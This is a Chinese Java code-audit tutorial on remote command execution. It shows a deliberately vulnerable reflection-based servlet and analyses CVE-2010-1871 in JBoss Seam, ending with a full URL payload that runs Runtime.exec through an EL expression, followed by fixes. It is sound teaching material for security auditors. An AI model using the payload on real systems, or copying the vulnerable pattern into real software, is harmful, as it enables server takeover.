【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍
字数 1457 2025-08-25 22:59:09
Java 代码审计入门:RCE 漏洞原理与实际案例详解
0x00 RCE漏洞概述
远程命令执行(RCE)漏洞是指攻击者通过Web端或客户端提交执行命令,由于服务器端没有针对执行函数做过滤或存在逻辑漏洞,导致可以在服务器上执行任意命令。
漏洞原理
- 开发人员未对代码中可执行的特殊函数或自定义方法入口做过滤
- 客户端可以提交恶意构造语句并交由服务器端执行
- 常见执行函数:
Runtime.exec()、Process、ProcessBuilder.start()等
0x01 RCE漏洞常见场景
- 直接可执行函数:服务端直接存在可执行函数且参数过滤不严
- 间接可执行函数:服务端不直接存在可执行函数但参数过滤不严
- 表达式注入:OGNL、SpEL、MVEL、EL、Fel、JST+EL等
- 模板引擎注入:Freemarker、Velocity、Thymeleaf等
- 脚本语言注入:Groovy、JavascriptEngine等
- 第三方组件漏洞:Fastjson、Shiro、Xstream、Struts2、Weblogic等
0x02 演示案例:反射机制导致的RCE
漏洞代码分析
public void CommandFound(HttpServletRequest req, HttpServletResponse resp)
throws ClassNotFoundException, InstantiationException, IllegalAccessException,
NoSuchMethodException, SecurityException, IllegalArgumentException,
InvocationTargetException, IOException {
PrintWriter print = resp.getWriter();
String name = req.getParameter("command"); // 类名
String method = req.getParameter("method"); // 方法名
String str = req.getParameter("str"); // 参数
// 反射获取类
Class getCommandClass = Class.forName(name);
Constructor constructor = getCommandClass.getDeclaredConstructor();
constructor.setAccessible(true);
Object getInstance = constructor.newInstance();
// 反射获取并执行方法
Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
getCommandMethod.setAccessible(true);
Object mes = getCommandMethod.invoke(getInstance, str);
print.println("即将执行的操作指令:<br>");
print.println(mes);
print.flush();
}
漏洞利用方式
由于代码对传入的类、方法、参数没有任何限制,攻击者可以:
- 传入
java.lang.Runtime作为类名 - 传入
exec作为方法名 - 传入要执行的系统命令作为参数
修复方案
- 禁止用户控制程序执行的命令,使用白名单机制
- 对用户输入进行严格过滤,优先使用白名单而非黑名单
- 设置绝对路径执行命令
- 严格设置权限,避免不必要的
setAccessible(true)
0x03 实际案例:CVE-2010-1871分析
漏洞简介
JBoss Seam 2框架中的JBoss EL表达式解析漏洞,允许通过精心构造的URL执行任意代码。
环境搭建
- 系统:Ubuntu 18.04
- JDK:1.6
- Ant:1.6
- JBoss AS:5.0.1
- JBoss-seam:2.2.0.CR1
漏洞分析
漏洞入口
jboss-seam/examples/booking/exploded-archives/jboss-seam-booking.ear/jboss-seam.jar中的navigation/Pages.java
关键代码:
private static boolean callAction(FacesContext facesContext) {
boolean result = false;
String outcome = (String)facesContext.getExternalContext()
.getRequestParameterMap().get("actionOutcome");
String fromAction = outcome;
if (outcome == null) {
String actionId = (String)facesContext.getExternalContext()
.getRequestParameterMap().get("actionMethod");
if (actionId != null) {
if (!SafeActions.instance().isActionSafe(actionId))
return result;
String expression = SafeActions.toAction(actionId);
result = true;
Expressions.MethodExpression actionExpression =
Expressions.instance().createMethodExpression(expression);
outcome = toString(actionExpression.invoke(new Object[0]));
fromAction = expression;
handleOutcome(facesContext, outcome, fromAction);
}
} else {
handleOutcome(facesContext, outcome, fromAction);
}
return result;
}
漏洞利用链
- 传入
actionOutcome参数 - 参数以
/开头触发isOutcomeViewId()判断 - 进入
FacesManager.instance().interpolateAndRedirect() - 最终解析JBoss EL表达式
JBoss EL表达式构造
通过反射调用Runtime.exec():
expressions.getClass().forName('java.lang.Runtime')
.getDeclaredMethod('getRuntime')
.invoke(expressions.getClass().forName('java.lang.Runtime'))
.exec('command')
最终Payload
/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('gnome-calculator')}
修复方案
- 对
actionOutcome检查是否包含#{等字符 - 创建黑名单过滤危险方法:
.getClass(),.addRole(),.getPassword(),.removeRole() - 升级到最新版本(注意:JBoss EAP 7已停止维护)
0x04 总结
- RCE漏洞危害极大,可导致服务器完全沦陷
- 审计时不仅要关注直接执行函数,还要注意反射、表达式等间接执行方式
- 修复时应根据实际场景选择合适方案,优先使用白名单机制
- 第三方组件的RCE漏洞往往影响广泛,需特别关注
0x05 参考资源
- JBoss EL表达式增强文档
- Java反射机制详解
- CVE-2010-1871安全公告
- 表达式注入相关研究文章